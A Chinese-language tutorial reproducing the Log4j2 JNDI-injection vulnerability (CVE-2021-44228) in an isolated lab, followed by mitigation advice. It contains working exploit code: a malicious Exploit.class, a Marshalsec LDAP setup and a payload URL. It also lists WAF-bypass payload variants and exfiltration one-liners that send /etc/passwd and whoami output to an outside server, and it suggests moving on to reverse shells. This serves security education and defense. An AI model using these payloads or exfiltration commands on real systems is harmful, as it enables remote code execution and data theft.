Log4j2漏洞实战复现:从JNDI注入到远程代码执行

发布时间:2026/6/26 16:23:36
Log4j2漏洞实战复现:从JNDI注入到远程代码执行 1. 项目概述从“核弹级”漏洞到实战复现2021年底一个名为Log4j2的Java日志框架漏洞几乎让全球互联网技术圈陷入了一场集体性的“救火”状态。CVE-2021-44228这个编号背后所代表的是一个影响范围极广、利用门槛极低、危害性极高的远程代码执行漏洞。由于其波及了从云服务大厂到企业内部系统的海量Java应用安全研究员们形象地称之为“核弹级”漏洞。作为一名长期关注应用安全与漏洞研究的从业者我深知仅仅了解漏洞公告是远远不够的。真正的理解来自于亲手搭建环境、触发漏洞、分析流量、并最终实现利用的完整过程。漏洞复现是安全研究中最核心的实践环节它不仅能让你深刻理解漏洞的原理和危害更能锻炼你在真实攻防场景下的分析与应对能力。本文将带你从零开始完整复现Log4j2远程代码执行漏洞我会详细拆解其背后的JNDI注入机制提供可操作的复现步骤并分享在复现过程中可能遇到的坑以及排查技巧。无论你是刚入门的安全爱好者还是希望加固自身系统的开发工程师这篇手把手的实战指南都将为你提供直接的参考价值。2. 漏洞原理深度解析为什么一行日志能执行命令要成功复现一个漏洞首要任务是吃透它的原理。Log4j2漏洞的核心在于其提供的“日志消息查找替换”功能与Java的JNDI服务结合时产生了一条危险的利用链。2.1 Log4j2的动态查找与JNDI注入Log4j2为了增强日志的灵活性支持在日志输出时进行“查找”Lookup。例如你可以通过${java:runtime}来输出Java运行时信息。问题出在它支持一种名为JNDI的查找方式格式为${jndi:lookup}。JNDI是Java命名和目录接口它允许Java程序通过名称去访问网络上的各种目录服务如LDAP、RMI、DNS等。当Log4j22.0-beta9 至 2.14.1版本在处理用户可控的日志消息时如果消息中包含了${jndi:ldap://attacker.com/Exploit}这样的字符串它就会无条件地执行这个JNDI查找。它会去连接attacker.com这个攻击者控制的LDAP服务器并请求Exploit这个资源。2.2 攻击链的完整拼图单纯的JNDI查找并不直接导致代码执行。真正的杀伤力来自于Java中一个历史悠久的“特性”当JNDI客户端即我们的受害应用从LDAP服务器获取到一个对象引用时如果该引用指向一个远程的Java类文件且客户端的com.sun.jndi.ldap.object.trustURLCodebase属性为true在Java 8u191以下版本默认即为true客户端就会自动从指定地址加载并实例化这个类。于是完整的攻击链就形成了攻击输入攻击者将包含恶意JNDI查找的字符串如${jndi:ldap://evil.com/Calc}提交给应用例如通过User-Agent、搜索框、登录用户名等任何会触发日志记录的地方。日志记录应用使用存在漏洞的Log4j2版本记录该字符串。查找触发Log4j2解析日志消息识别出${jndi:...}模式并启动JNDI查找。恶意响应攻击者控制的LDAP服务器evil.com响应查找请求返回一个指向http://evil.com/Exploit.class的引用。代码加载与执行受害应用Java 8u191前信任该引用从http://evil.com下载Exploit.class文件加载到JVM中并实例化。而Exploit.class的静态代码块或构造函数中可以包含执行任意命令的代码例如Runtime.getRuntime().exec(calc.exe)。理解了这个链条你就明白了复现的关键我们需要模拟一个存在漏洞的Java应用、一个能响应恶意JNDI请求的LDAP服务器以及一个托管恶意Java类的HTTP服务。注意此复现仅用于合法授权的安全测试、教育及研究目的。所有操作应在隔离的虚拟机或实验网络中进行严禁对未授权系统进行测试。3. 复现环境搭建与工具选型工欲善其事必先利其器。一个稳定、隔离的复现环境是成功的第一步。我推荐使用虚拟机搭建一个简单的实验网络。3.1 环境准备与规划攻击机 (Kali Linux / 任意Linux): 用于启动LDAP服务、HTTP服务并作为控制中心。IP:192.168.1.100靶机 (Ubuntu 或 Windows): 运行存在漏洞的Java Web应用。IP:192.168.1.200网络: 确保两台机器在同一局域网可以互相ping通。工具清单Java环境: 靶机需要安装Java 8u191 之前的版本这是利用成功的关键。例如 Java 8u181。攻击机安装任意版本即可。存在漏洞的Log4j2库: 我们将创建一个简单的Java Web应用来模拟漏洞场景。Marshalsec: 一个非常轻量级的工具用于快速启动一个恶意的JNDI LDAP服务器。我们将用它来作为攻击机的LDAP服务。简易HTTP服务器: 用于托管恶意Java类文件。可以用Python的http.server模块快速搭建。漏洞利用代码 (Exploit.class): 一个编译好的Java类其静态代码块中包含我们要执行的命令。3.2 靶机应用搭建我们不直接使用复杂的Spring Boot项目而是创建一个最精简的Servlet应用以便清晰地观察漏洞触发过程。步骤1创建项目结构在靶机上创建一个目录vuln-app并建立如下结构vuln-app/ ├── src/ │ └── VulnServlet.java ├── lib/ │ └── log4j-core-2.14.1.jar (存在漏洞的版本) ├── web/ │ └── WEB-INF/ │ └── web.xml └── compile_and_run.sh步骤2编写存在漏洞的Servletsrc/VulnServlet.java内容如下import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnServlet extends HttpServlet { // 创建Logger这是漏洞触发的关键对象 private static final Logger logger LogManager.getLogger(VulnServlet.class); protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userInput request.getParameter(input); // 获取用户输入 // 关键漏洞点使用logger记录用户可控的输入 logger.error(Received input: userInput); response.setContentType(text/html); PrintWriter out response.getWriter(); out.println(htmlbody); out.println(h1Log Test/h1); out.println(pYour input has been logged./p); out.println(/body/html); } }这段代码的逻辑非常简单接收一个名为input的GET参数然后用Log4j2的logger.error()方法将其记录下来。当userInput包含${jndi:...}时漏洞即被触发。步骤3准备依赖与配置文件从Maven仓库下载log4j-core-2.14.1.jar和log4j-api-2.14.1.jar放入lib/目录。创建web/WEB-INF/web.xml来配置Servlet?xml version1.0 encodingUTF-8? web-app servlet servlet-nameVulnServlet/servlet-name servlet-classVulnServlet/servlet-class /servlet servlet-mapping servlet-nameVulnServlet/servlet-name url-pattern/log/url-pattern /servlet-mapping /web-app步骤4编译、打包与运行编写一个简单的脚本compile_and_run.sh#!/bin/bash # 编译 javac -cp lib/* -d ./classes src/VulnServlet.java # 创建WAR包结构 mkdir -p web/WEB-INF/classes cp -r classes/* web/WEB-INF/classes/ cp lib/*.jar web/WEB-INF/lib/ # 使用嵌入式Jetty运行需先下载jetty-runner # wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-runner/9.4.43.v20210629/jetty-runner-9.4.43.v20210629.jar java -jar jetty-runner-9.4.43.v20210629.jar --port 8080 web/运行此脚本我们的漏洞应用就在http://192.168.1.200:8080上启动了。4. 攻击端工具配置与利用代码生成现在切换到攻击机进行操作。我们的目标是启动两个服务一个恶意的LDAP服务器一个用于托管恶意类的HTTP服务器。4.1 使用Marshalsec搭建恶意LDAP服务器Marshalsec是一个Java项目我们需要先编译它。# 1. 安装Java和Maven sudo apt update sudo apt install openjdk-8-jdk maven -y # 2. 克隆并编译Marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target/目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。启动LDAP服务器指定其将JNDI请求重定向到我们的HTTP服务java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.100:8000/#Exploit这条命令的意思是在攻击机(192.168.1.100)的默认LDAP端口(1389)启动一个服务。当有客户端请求Exploit资源时LDAP服务器将返回一个指向http://192.168.1.100:8000/Exploit.class的引用。#Exploit指定了要加载的类名。4.2 制作恶意Java类 (Exploit.class)我们需要创建一个Java类在其静态代码块中执行命令。这里我们以在Linux靶机上弹出计算器如果靶机有GUI或创建一个文件作为证明。创建Exploit.javapublic class Exploit { static { try { // 这里是要执行的命令 // Linux下可以尝试打开计算器如gnome-calculator或创建一个文件 String[] commands {touch, /tmp/log4j_hacked}; // 如果是Windows靶机可以换成 calc.exe // String[] commands {cmd.exe, /c, calc.exe}; java.lang.Runtime.getRuntime().exec(commands); } catch (Exception e) { e.printStackTrace(); } } }编译它注意编译用的Java版本最好与靶机版本一致或更低以保证兼容性。javac Exploit.java编译后会生成Exploit.class文件。4.3 启动HTTP服务器托管恶意类在Exploit.class所在的目录启动一个简单的HTTP服务器python3 -m http.server 8000现在我们的恶意类可以通过http://192.168.1.100:8000/Exploit.class被访问到。5. 漏洞触发与利用过程全记录万事俱备只欠东风。现在让我们触发漏洞。5.1 构造攻击Payload在浏览器、curl或BurpSuite中向靶机应用发送一个GET请求参数input的值就是我们的攻击载荷。http://192.168.1.200:8080/log?input${jndi:ldap://192.168.1.100:1389/Exploit}这个URL的意思是访问靶机的/log路径并传递参数input其值为${jndi:ldap://攻击机IP:LDAP端口/资源名}。5.2 观察攻击链触发发送请求当你访问上述URL时靶机应用接收到input参数。日志记录VulnServlet中的logger.error(“Received input: “ userInput)执行。Log4j2开始处理字符串拼接后的结果“Received input: ${jndi:ldap://192.168.1.100:1389/Exploit}”。JNDI解析Log4j2识别出${jndi:...}模式尝试连接192.168.1.100:1389的LDAP服务查询Exploit。LDAP响应攻击机上的Marshalsec LDAP服务器收到查询返回一个指向http://192.168.1.100:8000/Exploit.class的LDAP引用。类加载与执行靶机JVM假设是Java 8u181收到引用从http://192.168.1.100:8000/下载Exploit.class加载并初始化这个类。在类初始化的静态代码块中命令touch /tmp/log4j_hacked被执行。5.3 验证利用结果回到你的靶机检查命令是否执行成功ls -la /tmp/log4j_hacked如果文件被成功创建恭喜你漏洞复现成功这证明了攻击者确实可以通过此漏洞在目标服务器上执行任意系统命令。同时观察攻击机上的终端窗口你可以看到LDAP服务器和HTTP服务器的访问日志清晰地展示了整个攻击链的流量。6. 复现过程中的疑难杂症与排查指南在实际操作中你可能会遇到各种问题导致复现失败。下面是我在多次复现中总结的常见问题及解决方法。6.1 常见问题速查表问题现象可能原因排查步骤与解决方案靶机应用日志无异常无网络连接1. Log4j2版本不对。2. 日志级别设置过高未记录ERROR日志。3. 代码未触发logger调用。1. 确认lib目录下是2.0-beta9至2.14.1之间的版本。2. 检查Log4j2配置文件确保Logger级别包含ERROR。简易方法在代码中直接使用logger.error()。3. 在Servlet中加打印语句确认doGet方法被执行。LDAP服务器收到连接但HTTP服务器无请求1. 靶机Java版本过高8u191。2. Marshalsec命令参数错误。1. 在靶机执行java -version确认版本。必须使用8u191、7u201、6u211或更早版本。这是最常见的失败原因。2. 检查Marshalsec启动命令确保URL格式正确http://YOUR_IP:PORT/#ClassName。HTTP服务器收到请求但返回4041.Exploit.class文件不在HTTP服务根目录。2. 类名不匹配。1. 确保在启动Python HTTP服务器的目录下存在Exploit.class。2. 检查Marshalsec命令中的#Exploit与编译出的类名是否完全一致大小写敏感。命令执行成功但无效果1. 命令路径错误。2. 执行环境权限不足。3. 命令本身无回显。1. 使用绝对路径如/usr/bin/touch。2. 尝试一个无害且有明显效果的命令如在Web目录写一个HTML文件。3. 可以尝试在Exploit代码中执行curl或wget向外部服务器发送请求以证明执行成功。网络连接问题1. 防火墙阻止。2. IP地址配置错误。1. 关闭靶机和攻击机的防火墙实验环境sudo systemctl stop firewalld或sudo ufw disable。2. 互相ping一下确保IP可达。检查Marshalsec和Python服务器是否绑定在0.0.0.0。6.2 高阶技巧与深度分析绕过WAF与特殊字符编码在实际渗透测试中${jndi:ldap://...}这种原始payload很可能被WAF拦截。攻击者会使用各种绕过技巧例如大小写混淆${jNdI:lDaP://...}利用环境变量嵌套${${env:USER:-j}ndi:...}(在某些版本有效)Unicode转义\u0024代替$\u007b代替{等。其他协议尝试除了ldap还可以尝试rmi、dns、iiop等如${jndi:rmi://...}。在复现时可以尝试使用Marshalsec启动RMI服务java -cp marshalsec.jar marshalsec.jndi.RMIRefServer ...。无回显命令执行验证如果执行的是touch这类无回显命令如何确认漏洞存在除了检查文件还可以DNS外带使用nslookup或ping命令将执行结果带出。例如执行ping -c 1 $(whoami).your-dns-log.com然后在DNS日志平台查看子域名解析记录其中就包含了whoami的命令结果。HTTP外带使用curl或wget将命令结果作为URL参数发送到自己的服务器。例如curl http://your-server.com/$(cat /etc/passwd | base64)。使用现成工具进行快速检测与利用对于日常渗透测试手动搭建环境效率较低。成熟的工具如JNDI-Injection-Exploit: 一个集成的工具一键启动LDAP/RMI服务并自动生成利用代码。dnslog.cn: 国内常用的DNS外带检测平台可用于快速检测目标是否存在漏洞发送${jndi:ldap://xxx.dnslog.cn}。BurpSuite插件Log4Shell Scanner: 自动化的被动扫描插件。7. 漏洞修复与防护方案实战复现漏洞是为了更好地防御它。了解攻击原理后我们可以从多个层面进行防护。7.1 紧急缓解措施治标如果无法立即升级可以采取以下临时方案修改JVM参数最有效启动应用时添加以下参数直接禁用JNDI查找和远程类加载。-Dlog4j2.formatMsgNoLookupstrue # Log4j 2.10及以上 -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse # 禁用LDAP远程代码库 -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse # 禁用RMI远程代码库移除漏洞类删除Log4j2核心JAR包中的JndiLookup类。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class环境变量设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue。7.2 根本解决方案治本升级Log4j2这是最推荐的方案。升级到安全版本2.17.0、2.12.4(Java 7)、2.3.2(Java 6)。注意后续又发现了CVE-2021-45046、CVE-2021-45105等漏洞因此务必升级到最终的安全版本如2.17.1。使用其他日志框架考虑迁移到Logback、SLF4J等。WAF/防火墙规则在网关或WAF上配置规则拦截包含jndi:、ldap://、rmi://等特征的请求。安全开发规范避免将用户输入直接传递给日志记录器。如果必须记录应先进行校验或编码。7.3 排查与监控对于已上线系统如何快速排查版本扫描使用log4j-core-*.jar文件名和内部版本号进行资产扫描。流量监控在IDS/IPS或网络设备上监控出站流量特别是向非常用端口如1389发起的LDAP连接。进程监控监控Java进程是否突然发起网络连接或执行异常子进程。亲手复现一遍CVE-2021-44228你会对“漏洞利用链”这个概念有刻骨铭心的理解。它不再是新闻里模糊的风险描述而是一系列环环相扣、可以实际观测和操控的技术步骤。这种从原理到实操的完整穿越是提升安全实战能力最有效的方法。在复现过程中我强烈建议你不仅仅满足于弹出计算器可以尝试修改Exploit代码实现反弹Shell或者结合DNS/HTTP外带技术获取命令执行的回显这能让你更贴近真实攻击场景。最后请永远记住所有技术研究都应在法律和道德允许的范围内在隔离环境中进行。